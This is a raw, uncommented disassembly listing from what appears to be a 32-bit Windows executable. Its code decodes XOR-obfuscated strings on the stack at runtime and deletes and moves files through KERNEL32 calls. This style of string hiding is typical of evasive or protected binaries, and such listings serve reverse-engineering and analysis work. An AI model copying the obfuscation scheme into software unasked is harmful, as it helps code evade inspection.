mov dword [ebp - 0x87c], 0xb7b4931b
mov dword [ebp - 0x878], 0x7e658fa
mov dword [ebp - 0x874], 0x4625c1be
movaps xmmword [ebp - 0x1190], xmm1
lea eax, [ebp - 0x638]
movaps xmm1, xmmword [ebp - 0x1180]
pxor xmm1, xmmword [ebp - 0x890]
push 0
push eax
movaps xmmword [ebp - 0x1180], xmm1
lea eax, [ebp - 0x1190]
movaps xmm1, xmmword [ebp - 0x1170]
pxor xmm1, xmmword [ebp - 0x880]
push 0x104
push eax
movaps xmmword [ebp - 0x1170], xmm1
call esi
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x457bae
call esi
cmp eax, 2
je 0x457bae
call esi
mov dword [ebp - 0x1250], 0x2c3b8563
mov dword [ebp - 0x124c], 0xfbe201da
mov dword [ebp - 0x1248], 0xa5034c19
mov dword [ebp - 0x1244], 0xd76f1c5e
mov dword [ebp - 0x1240], 0xf4b4e707
mov dword [ebp - 0x123c], 0x57ee8bd6
mov dword [ebp - 0x1238], 0xb2bdc28c
mov dword [ebp - 0x1234], 0x92aa2a28
mov dword [ebp - 0x1230], 0x685d0cb6
mov dword [ebp - 0x122c], 0x8dd1f774
mov dword [ebp - 0x1228], 0xd827dda
mov dword [ebp - 0x1224], 0x4625c1be
movaps xmm1, xmmword [ebp - 0x1250]
mov dword [ebp - 0x8a0], 0x4052e425
mov dword [ebp - 0x89c], 0x8fc265bf
mov dword [ebp - 0x898], 0xc0676c76
mov dword [ebp - 0x894], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1250], xmm1
movaps xmm1, xmmword [ebp - 0x1240]
mov dword [ebp - 0x890], 0x97d58527
mov dword [ebp - 0x88c], 0x779efebd
mov dword [ebp - 0x888], 0x9ef18ec8
mov dword [ebp - 0x884], 0xe0d84f08
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1240], xmm1
movaps xmm1, xmmword [ebp - 0x1230]
push eax
mov dword [ebp - 0x880], 0xb7d7ed9
lea eax, [ebp - 0x1250]
mov dword [ebp - 0x87c], 0xb7b4931b
mov dword [ebp - 0x878], 0x7e658fa
mov dword [ebp - 0x874], 0x4625c1be
pxor xmm1, xmmword [ebp - 0x880]
push eax
movaps xmmword [ebp - 0x1230], xmm1
call fcn.0044b300
mov dword [ebp - 0xbc0], 0x1307a575
lea eax, [ebp - 0xbc0]
mov dword [ebp - 0xbbc], 0x8fc265fa
mov dword [ebp - 0xbb8], 0xc0676c76
mov dword [ebp - 0xbb4], 0xb21b7932
movaps xmm1, xmmword [ebp - 0xbc0]
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbc0], xmm1
call fcn.005d6a9d
add esp, 0xc
lea ecx, [ebp - 0x13e0]
call fcn.0045eaa0
lea ecx, [ebp - 0x8e8]
call fcn.0045eaa0
lea ecx, [ebp - 0x900]
call fcn.0045eaa0
lea ecx, [ebp - 0x948]
call fcn.0045eaa0
lea ecx, [ebp - 0x13c8]
call fcn.0045eaa0
jmp 0x45d5b7
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x45810a
call esi
cmp eax, 2
je 0x45810a
call esi
mov esi, eax
mov dword [ebp - 0x20e0], 0x25728a64
lea eax, [ebp - 0x20a0]
mov dword [ebp - 0x20dc], 0xfdad17cd
push eax
lea eax, [ebp - 0x20e0]
mov dword [ebp - 0x20d8], 0xa3040356
push eax
lea ecx, [ebp - 0x3488]
mov dword [ebp - 0x20d4], 0xd67e0b47
mov dword [ebp - 0x20d0], 0xf2bdf207
mov dword [ebp - 0x20cc], 0x16fcded3
mov dword [ebp - 0x20c8], 0xf098e5ab
mov dword [ebp - 0x20c4], 0x90ad6f6f
mov dword [ebp - 0x20c0], 0x47313af9
mov dword [ebp - 0x20bc], 0xc5d1bb3b
mov dword [ebp - 0x20b8], 0x27943788
mov dword [ebp - 0x20b4], 0x2341aedd
mov dword [ebp - 0x20b0], 0xf42439c1
mov dword [ebp - 0x20ac], 0x4f782540
mov dword [ebp - 0x20a8], 0xcde857ec
mov dword [ebp - 0x20a4], 0x491a1404
call fcn.0045f990
lea eax, [ebp - 0x20e0]
mov dword [ebp - 0x8b0], 0x4052e425
push eax
lea eax, [ebp - 0x2120]
mov dword [ebp - 0x8ac], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3480]
mov dword [ebp - 0x2120], 0x4052e425
mov dword [ebp - 0x211c], 0x8fc265bf
mov dword [ebp - 0x8a8], 0xc0676c76
mov dword [ebp - 0x8a4], 0xb21b7932
mov dword [ebp - 0x2118], 0xc0676c76
mov dword [ebp - 0x2114], 0xb21b7932
mov dword [ebp - 0x8a0], 0x97d58527
mov dword [ebp - 0x89c], 0x779efebd
mov dword [ebp - 0x2110], 0x97d58527
mov dword [ebp - 0x210c], 0x779efebd
mov dword [ebp - 0x898], 0x9ef18ec8
mov dword [ebp - 0x894], 0xe0d84f08
mov dword [ebp - 0x2108], 0x9ef18ec8
mov dword [ebp - 0x2104], 0xe0d84f08
mov dword [ebp - 0x890], 0xb7d7ed9
mov dword [ebp - 0x88c], 0xb7b4931b
mov dword [ebp - 0x2100], 0xb7d7ed9
mov dword [ebp - 0x20fc], 0xb7b4931b
mov dword [ebp - 0x888], 0x7e658fa
mov dword [ebp - 0x884], 0x4625c1be
mov dword [ebp - 0x20f8], 0x7e658fa
mov dword [ebp - 0x20f4], 0x4625c1be
mov dword [ebp - 0x880], 0x900119fb
mov dword [ebp - 0x87c], 0x4f782f69
mov dword [ebp - 0x20f0], 0x900119fb
mov dword [ebp - 0x20ec], 0x4f782f69
mov dword [ebp - 0x878], 0xcde857ec
mov dword [ebp - 0x874], 0x491a1404
mov dword [ebp - 0x20e8], 0xcde857ec
mov dword [ebp - 0x20e4], 0x491a1404
call fcn.0045f990
mov dword [ebp - 0x1310], 0x25728a64
mov dword [ebp - 0x130c], 0xfdad17cd
mov dword [ebp - 0x2160], 0x25728a64
mov dword [ebp - 0x215c], 0xfdad17cd
mov dword [ebp - 0x1308], 0xa3040356
mov dword [ebp - 0x1304], 0xd67e0b47
mov dword [ebp - 0x2158], 0xa3040356
mov dword [ebp - 0x2154], 0xd67e0b47
mov dword [ebp - 0x1300], 0xf2bdf207
mov dword [ebp - 0x12fc], 0x16fcded3
mov dword [ebp - 0x2150], 0xf2bdf207
mov dword [ebp - 0x214c], 0x16fcded3
mov dword [ebp - 0x12f8], 0xf098e5ab
mov dword [ebp - 0x12f4], 0x90ad6f6f
mov dword [ebp - 0x2148], 0xf098e5ab
mov dword [ebp - 0x2144], 0x90ad6f6f
mov dword [ebp - 0x12f0], 0x47313af9
mov dword [ebp - 0x12ec], 0xc5d1bb3b
mov dword [ebp - 0x2140], 0x47313af9
lea eax, [ebp - 0x2120]
mov dword [ebp - 0x213c], 0xc5d1bb3b
push eax
lea eax, [ebp - 0x2160]
mov dword [ebp - 0x12e8], 0x27943788
push eax
lea ecx, [ebp - 0x3478]
mov dword [ebp - 0x12e4], 0x2341aedd
mov dword [ebp - 0x2138], 0x27943788
mov dword [ebp - 0x2134], 0x2341aedd
mov dword [ebp - 0x12e0], 0xf42439c1
mov dword [ebp - 0x12dc], 0x4f782540
mov dword [ebp - 0x2130], 0xf42439c1
mov dword [ebp - 0x212c], 0x4f782540
mov dword [ebp - 0x12d8], 0xcde857ec
mov dword [ebp - 0x12d4], 0x491a1404
mov dword [ebp - 0x2128], 0xcde857ec
mov dword [ebp - 0x2124], 0x491a1404
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x8b0]
lea eax, [ebp - 0x1310]
pxor xmm1, xmmword [ebp - 0x1310]
movaps xmmword [ebp - 0x1310], xmm1
movaps xmm1, xmmword [ebp - 0x1300]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1300], xmm1
movaps xmm1, xmmword [ebp - 0x12f0]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x12f0], xmm1
movaps xmm1, xmmword [ebp - 0x12e0]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x12e0], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2ea8], 0x1307a575
lea eax, [ebp - 0x2e98]
mov dword [ebp - 0x2ea4], 0x8fc265fa
lea ecx, [ebp - 0x3470]
mov dword [ebp - 0x2ea0], 0xc0676c76
mov dword [ebp - 0x2e9c], 0xb21b7932
push eax
lea eax, [ebp - 0x2ea8]
push eax
call fcn.0045f990
lea eax, [ebp - 0x2ea8]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2eb8]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3468]
mov dword [ebp - 0x2eb8], 0x4052e425
mov dword [ebp - 0x2eb4], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2eb0], 0xc0676c76
mov dword [ebp - 0x2eac], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2eb8]
mov dword [ebp - 0xbd0], 0x1307a575
push eax
lea eax, [ebp - 0x2ec8]
mov dword [ebp - 0xbcc], 0x8fc265fa
push eax
lea ecx, [ebp - 0x3460]
mov dword [ebp - 0x2ec8], 0x1307a575
mov dword [ebp - 0x2ec4], 0x8fc265fa
mov dword [ebp - 0xbc8], 0xc0676c76
mov dword [ebp - 0xbc4], 0xb21b7932
mov dword [ebp - 0x2ec0], 0xc0676c76
mov dword [ebp - 0x2ebc], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xbd0]
pxor xmm1, xmmword [ebp - 0xbd0]
push eax
movaps xmmword [ebp - 0xbd0], xmm1
call fcn.005d6a9d
add esp, 4
lea ecx, [ebp - 0x13e0]
call fcn.0045eaa0
lea ecx, [ebp - 0x8e8]
call fcn.0045eaa0
lea ecx, [ebp - 0x900]
call fcn.0045eaa0
jmp 0x45d5a1
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x2328]
call fcn.0045e6a0
lea ecx, [ebp - 0x2328]
mov byte [ebp - 4], 0x10
call fcn.0044da70
lea ecx, [ebp - 0x2328]
mov dword [0x6806e4], eax
call fcn.0045e640
lea ecx, [ebp - 0x8e8]
call fcn.0045e8e0
sub esp, 0x18
mov dword [ebp - 0x2bf4], eax
mov edi, esp
mov dword [ebp - 0x2bfc], esp
mov dword [ebp - 0x2c00], edi
mov ecx, edi
push dword [ebp - 0x2bfc]
call fcn.00461710
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x2bf4]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x2bf4], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x458180
sub ecx, dword [ebp - 0x2bf4]
push ecx
push edx
mov ecx, edi
call fcn.00461730
sub esp, 0x18
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x948]
mov ecx, esp
push eax
call fcn.0045ec30
mov byte [ebp - 4], 5
call fcn.0044dbb0
mov edi, eax
add esp, 0x30
cmp edi, 0x1a0a
jne 0x458527
mov dword [ebp - 0x1350], 0x6025816b
lea eax, [ebp - 0x1350]
mov dword [ebp - 0x134c], 0xfcb000c9
mov dword [ebp - 0x1348], 0xe009031f
mov dword [ebp - 0x1344], 0xd76f1c56
mov dword [ebp - 0x1340], 0xf3b0f144
mov dword [ebp - 0x133c], 0x1beede91
mov dword [ebp - 0x1338], 0xfb82efad
mov dword [ebp - 0x1334], 0x84a83a28
mov dword [ebp - 0x1330], 0x2b180ab8
mov dword [ebp - 0x132c], 0xdb94fc6f
mov dword [ebp - 0x1328], 0x62922b9b
mov dword [ebp - 0x1324], 0x2a05b5cd
mov dword [ebp - 0x1320], 0xf5657894
mov dword [ebp - 0x131c], 0x2a0e0f1b
mov dword [ebp - 0x1318], 0xa281249e
mov dword [ebp - 0x1314], 0x49103a6a
movaps xmm1, xmmword [ebp - 0x1350]
mov dword [ebp - 0x8b0], 0x4052e425
mov dword [ebp - 0x8ac], 0x8fc265bf
mov dword [ebp - 0x8a8], 0xc0676c76
mov dword [ebp - 0x8a4], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x1350], xmm1
movaps xmm1, xmmword [ebp - 0x1340]
mov dword [ebp - 0x8a0], 0x97d58527
mov dword [ebp - 0x89c], 0x779efebd
mov dword [ebp - 0x898], 0x9ef18ec8
mov dword [ebp - 0x894], 0xe0d84f08
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1340], xmm1
movaps xmm1, xmmword [ebp - 0x1330]
mov dword [ebp - 0x890], 0xb7d7ed9
mov dword [ebp - 0x88c], 0xb7b4931b
mov dword [ebp - 0x888], 0x7e658fa
mov dword [ebp - 0x884], 0x4625c1be
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1330], xmm1
movaps xmm1, xmmword [ebp - 0x1320]
mov dword [ebp - 0x880], 0x900119fb
mov dword [ebp - 0x87c], 0x4f782f69
mov dword [ebp - 0x878], 0xcde857ec
mov dword [ebp - 0x874], 0x491a1404
pxor xmm1, xmmword [ebp - 0x880]
push eax
movaps xmmword [ebp - 0x1320], xmm1
call fcn.0044b300
mov dword [ebp - 0x1160], 0x2e258b61
add esp, 4
mov dword [ebp - 0x115c], 0xeba30ad3
mov dword [ebp - 0x1158], 0xae0e0056
mov dword [ebp - 0x1154], 0xda3b4359
mov dword [ebp - 0x1150], 0xada5f153
mov dword [ebp - 0x114c], 0x19e8d192
mov dword [ebp - 0x1148], 0xb089efa0
mov dword [ebp - 0x1144], 0xcfb5206b
mov dword [ebp - 0x1140], 0x6f1c11b5
mov dword [ebp - 0x113c], 0xd999e17e
mov dword [ebp - 0x1138], 0x7ec2f9f
mov dword [ebp - 0x1134], 0x4625c1be
movaps xmm1, xmmword [ebp - 0x1160]
mov dword [ebp - 0x8a0], 0x4052e425
mov dword [ebp - 0x89c], 0x8fc265bf
mov dword [ebp - 0x898], 0xc0676c76
mov dword [ebp - 0x894], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1160], xmm1
movaps xmm1, xmmword [ebp - 0x1150]
mov dword [ebp - 0x890], 0x97d58527
mov dword [ebp - 0x88c], 0x779efebd
mov dword [ebp - 0x888], 0x9ef18ec8
mov dword [ebp - 0x884], 0xe0d84f08
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1150], xmm1
movaps xmm1, xmmword [ebp - 0x1140]
mov dword [ebp - 0x880], 0xb7d7ed9
mov dword [ebp - 0x87c], 0xb7b4931b
mov dword [ebp - 0x878], 0x7e658fa
mov dword [ebp - 0x874], 0x4625c1be
pxor xmm1, xmmword [ebp - 0x880]
movaps xmmword [ebp - 0x1140], xmm1
lea eax, [ebp - 0x1160]
push eax
call fcn.0044b300
mov dword [ebp - 0xbe0], 0x1307a575
lea eax, [ebp - 0xbe0]
mov dword [ebp - 0xbdc], 0x8fc265fa
add esp, 4
mov dword [ebp - 0xbd8], 0xc0676c76
mov dword [ebp - 0xbd4], 0xb21b7932
movaps xmm1, xmmword [ebp - 0xbe0]
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbe0], xmm1
call fcn.005d6a9d
add esp, 4
jmp 0x457b72
cmp edi, 0x100000
jae 0x4588a8
lea eax, [ebp - 0x1660]
mov dword [ebp - 0x1680], 0x600fce7e
push eax
lea eax, [ebp - 0x1680]
mov dword [ebp - 0x167c], 0xeeb40bf6
push eax
lea ecx, [ebp - 0x3458]
mov dword [ebp - 0x1678], 0xe003051a
mov dword [ebp - 0x1674], 0xd7611041
mov dword [ebp - 0x1670], 0xf3f0a51d
mov dword [ebp - 0x166c], 0x779efeb7
mov dword [ebp - 0x1668], 0x9ef18ec8
mov dword [ebp - 0x1664], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1640]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x1660]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3450]
mov dword [ebp - 0x1660], 0x4052e425
mov dword [ebp - 0x165c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x1658], 0xc0676c76
mov dword [ebp - 0x1654], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x1650], 0x97d58527
mov dword [ebp - 0x164c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x1648], 0x9ef18ec8
mov dword [ebp - 0x1644], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1620]
mov dword [ebp - 0xf20], 0x600fce7e
push eax
lea eax, [ebp - 0x1640]
mov dword [ebp - 0xf1c], 0xeeb40bf6
push eax
lea ecx, [ebp - 0x3448]
mov dword [ebp - 0x1640], 0x600fce7e
mov dword [ebp - 0x163c], 0xeeb40bf6
mov dword [ebp - 0xf18], 0xe003051a
mov dword [ebp - 0xf14], 0xd7611041
mov dword [ebp - 0x1638], 0xe003051a
mov dword [ebp - 0x1634], 0xd7611041
mov dword [ebp - 0xf10], 0xf3f0a51d
mov dword [ebp - 0xf0c], 0x779efeb7
mov dword [ebp - 0x1630], 0xf3f0a51d
mov dword [ebp - 0x162c], 0x779efeb7
mov dword [ebp - 0xf08], 0x9ef18ec8
mov dword [ebp - 0xf04], 0xe0d84f08
mov dword [ebp - 0x1628], 0x9ef18ec8
mov dword [ebp - 0x1624], 0xe0d84f08
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xf20]
lea eax, [ebp - 0xf20]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xf20], xmm1
movaps xmm1, xmmword [ebp - 0xf10]
pxor xmm1, xmmword [ebp - 0x850]
push edi
push eax
movaps xmmword [ebp - 0xf10], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2ed8], 0x1307a575
lea eax, [ebp - 0x2ec8]
mov dword [ebp - 0x2ed4], 0x8fc265fa
lea ecx, [ebp - 0x3438]
mov dword [ebp - 0x2ed0], 0xc0676c76
mov dword [ebp - 0x2ecc], 0xb21b7932
push eax
lea eax, [ebp - 0x2ed8]
push eax
call fcn.0045f990
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
lea eax, [ebp - 0x2ed8]
mov dword [ebp - 0x2ee8], 0x4052e425
push eax
lea eax, [ebp - 0x2ee8]
mov dword [ebp - 0x2ee4], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3430]
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2ee0], 0xc0676c76
mov dword [ebp - 0x2edc], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2ee8]
mov dword [ebp - 0xbf0], 0x1307a575
push eax
lea eax, [ebp - 0x2ef8]
mov dword [ebp - 0xbec], 0x8fc265fa
push eax
lea ecx, [ebp - 0x3428]
mov dword [ebp - 0x2ef8], 0x1307a575
mov dword [ebp - 0x2ef4], 0x8fc265fa
mov dword [ebp - 0xbe8], 0xc0676c76
mov dword [ebp - 0xbe4], 0xb21b7932
mov dword [ebp - 0x2ef0], 0xc0676c76
mov dword [ebp - 0x2eec], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xbf0]
lea eax, [ebp - 0xbf0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbf0], xmm1
call fcn.005d6a9d
add esp, 4
lea ecx, [ebp - 0x13e0]
call fcn.0045eaa0
lea ecx, [ebp - 0x8e8]
call fcn.0045eaa0
lea ecx, [ebp - 0x900]
call fcn.0045eaa0
jmp 0x45d5a1
cmp edi, dword [0x6806e4]
jne 0x458ad6
lea eax, [ebp - 0x1600]
mov dword [ebp - 0x1620], 0x600fce7e
push eax
lea eax, [ebp - 0x1620]
mov dword [ebp - 0x161c], 0xe1b50afb
push eax
lea ecx, [ebp - 0x3420]
mov dword [ebp - 0x1618], 0xa406031a
mov dword [ebp - 0x1614], 0xdb700a12
mov dword [ebp - 0x1610], 0xf3b0f557
mov dword [ebp - 0x160c], 0x779efeb7
mov dword [ebp - 0x1608], 0x9ef18ec8
mov dword [ebp - 0x1604], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x15e0]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x1600]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3418]
mov dword [ebp - 0x1600], 0x4052e425
mov dword [ebp - 0x15fc], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x15f8], 0xc0676c76
mov dword [ebp - 0x15f4], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x15f0], 0x97d58527
mov dword [ebp - 0x15ec], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x15e8], 0x9ef18ec8
mov dword [ebp - 0x15e4], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x15c0]
mov dword [ebp - 0xf40], 0x600fce7e
push eax
lea eax, [ebp - 0x15e0]
mov dword [ebp - 0xf3c], 0xe1b50afb
push eax
lea ecx, [ebp - 0x3410]
mov dword [ebp - 0x15e0], 0x600fce7e
mov dword [ebp - 0x15dc], 0xe1b50afb
mov dword [ebp - 0xf38], 0xa406031a
mov dword [ebp - 0xf34], 0xdb700a12
mov dword [ebp - 0x15d8], 0xa406031a
mov dword [ebp - 0x15d4], 0xdb700a12
mov dword [ebp - 0xf30], 0xf3b0f557
mov dword [ebp - 0xf2c], 0x779efeb7
mov dword [ebp - 0x15d0], 0xf3b0f557
mov dword [ebp - 0x15cc], 0x779efeb7
mov dword [ebp - 0xf28], 0x9ef18ec8
mov dword [ebp - 0xf24], 0xe0d84f08
mov dword [ebp - 0x15c8], 0x9ef18ec8
mov dword [ebp - 0x15c4], 0xe0d84f08
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xf40]
lea eax, [ebp - 0xf40]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xf40], xmm1
movaps xmm1, xmmword [ebp - 0xf30]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xf30], xmm1
call fcn.0044b300
add esp, 4
mov byte [0x6806d9], 1
jmp 0x458e84
lea eax, [ebp - 0x2ef8]
mov dword [ebp - 0x2f08], 0x2e258b61
push eax
lea eax, [ebp - 0x2f08]
mov dword [ebp - 0x2f04], 0xeba30ad3
push eax
lea ecx, [ebp - 0x3408]
mov dword [ebp - 0x2f00], 0xfa00021f
mov dword [ebp - 0x2efc], 0xb21b7938
call fcn.0045f990
lea eax, [ebp - 0x2f08]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2f18]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3400]
mov dword [ebp - 0x2f18], 0x4052e425
mov dword [ebp - 0x2f14], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2f10], 0xc0676c76
mov dword [ebp - 0x2f0c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2f18]
mov dword [ebp - 0xc00], 0x2e258b61
push eax
lea eax, [ebp - 0x2f28]
mov dword [ebp - 0xbfc], 0xeba30ad3
push eax
lea ecx, [ebp - 0x33f8]
mov dword [ebp - 0x2f28], 0x2e258b61
mov dword [ebp - 0x2f24], 0xeba30ad3
mov dword [ebp - 0xbf8], 0xfa00021f
mov dword [ebp - 0xbf4], 0xb21b7938
mov dword [ebp - 0x2f20], 0xfa00021f
mov dword [ebp - 0x2f1c], 0xb21b7938
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xc00]
lea eax, [ebp - 0xc00]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xc00], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x15c0], 0x403de466
lea eax, [ebp - 0x15a0]
mov dword [ebp - 0x15bc], 0x8fb165d1
lea ecx, [ebp - 0x33f0]
mov dword [ebp - 0x15b8], 0xc0156c02
mov dword [ebp - 0x15b4], 0xb2787947
push eax
lea eax, [ebp - 0x15c0]
mov dword [ebp - 0x15b0], 0x97ba8553
push eax
mov dword [ebp - 0x15ac], 0x77b0fecf
mov dword [ebp - 0x15a8], 0x9e9d8eac
mov dword [ebp - 0x15a4], 0xe0d84f64
call fcn.0045f990
lea eax, [ebp - 0x1580]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x15a0]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x33e8]
mov dword [ebp - 0x15a0], 0x4052e425
mov dword [ebp - 0x159c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x1598], 0xc0676c76
mov dword [ebp - 0x1594], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x1590], 0x97d58527
mov dword [ebp - 0x158c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x1588], 0x9ef18ec8
mov dword [ebp - 0x1584], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1560]
mov dword [ebp - 0xf60], 0x403de466
push eax
lea eax, [ebp - 0x1580]
mov dword [ebp - 0xf5c], 0x8fb165d1
push eax
lea ecx, [ebp - 0x33e0]
mov dword [ebp - 0x1580], 0x403de466
mov dword [ebp - 0x157c], 0x8fb165d1
mov dword [ebp - 0xf58], 0xc0156c02
mov dword [ebp - 0xf54], 0xb2787947
mov dword [ebp - 0x1578], 0xc0156c02
mov dword [ebp - 0x1574], 0xb2787947
mov dword [ebp - 0xf50], 0x97ba8553
mov dword [ebp - 0xf4c], 0x77b0fecf
mov dword [ebp - 0x1570], 0x97ba8553
mov dword [ebp - 0x156c], 0x77b0fecf
mov dword [ebp - 0xf48], 0x9e9d8eac
mov dword [ebp - 0xf44], 0xe0d84f64
mov dword [ebp - 0x1568], 0x9e9d8eac
mov dword [ebp - 0x1564], 0xe0d84f64
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xf60]
lea eax, [ebp - 0xf60]
pxor xmm1, xmmword [ebp - 0x860]
sub esp, 0x18
movaps xmmword [ebp - 0xf60], xmm1
mov ecx, esp
movaps xmm1, xmmword [ebp - 0xf50]
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2bfc], esp
push eax
movaps xmmword [ebp - 0xf50], xmm1
call fcn.0045e6a0
sub esp, 0x18
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x8e8]
mov dword [ebp - 0x2bf4], esp
mov esi, esp
call fcn.0045e8e0
push eax
mov ecx, esi
call fcn.0045ebf0
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x948]
mov ecx, esp
push eax
call fcn.0045ec30
mov ecx, edi
mov byte [ebp - 4], 5
call fcn.00453a30
add esp, 0x48
cmp byte [0x6806d9], 0
je 0x459902
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1dd0]
mov dword [ebp - 0x1e00], 0x403de466
push eax
lea eax, [ebp - 0x1e00]
mov dword [ebp - 0x1dfc], 0x8fb165d1
push eax
lea ecx, [ebp - 0x33d8]
mov dword [ebp - 0x1df8], 0xc0156c02
mov dword [ebp - 0x1df4], 0xb2787947
mov dword [ebp - 0x1df0], 0x97ba8553
mov dword [ebp - 0x1dec], 0x77b0fecf
mov dword [ebp - 0x1de8], 0x9e9d8eac
mov dword [ebp - 0x1de4], 0xe0f64f64
mov dword [ebp - 0x1de0], 0xb1c7ebb
mov dword [ebp - 0x1ddc], 0xb7b49370
mov dword [ebp - 0x1dd8], 0x7e658fa
mov dword [ebp - 0x1dd4], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x1e00]
mov dword [ebp - 0x8a0], 0x4052e425
push eax
lea eax, [ebp - 0x1e30]
mov dword [ebp - 0x89c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x33d0]
mov dword [ebp - 0x1e30], 0x4052e425
mov dword [ebp - 0x1e2c], 0x8fc265bf
mov dword [ebp - 0x898], 0xc0676c76
mov dword [ebp - 0x894], 0xb21b7932
mov dword [ebp - 0x1e28], 0xc0676c76
mov dword [ebp - 0x1e24], 0xb21b7932
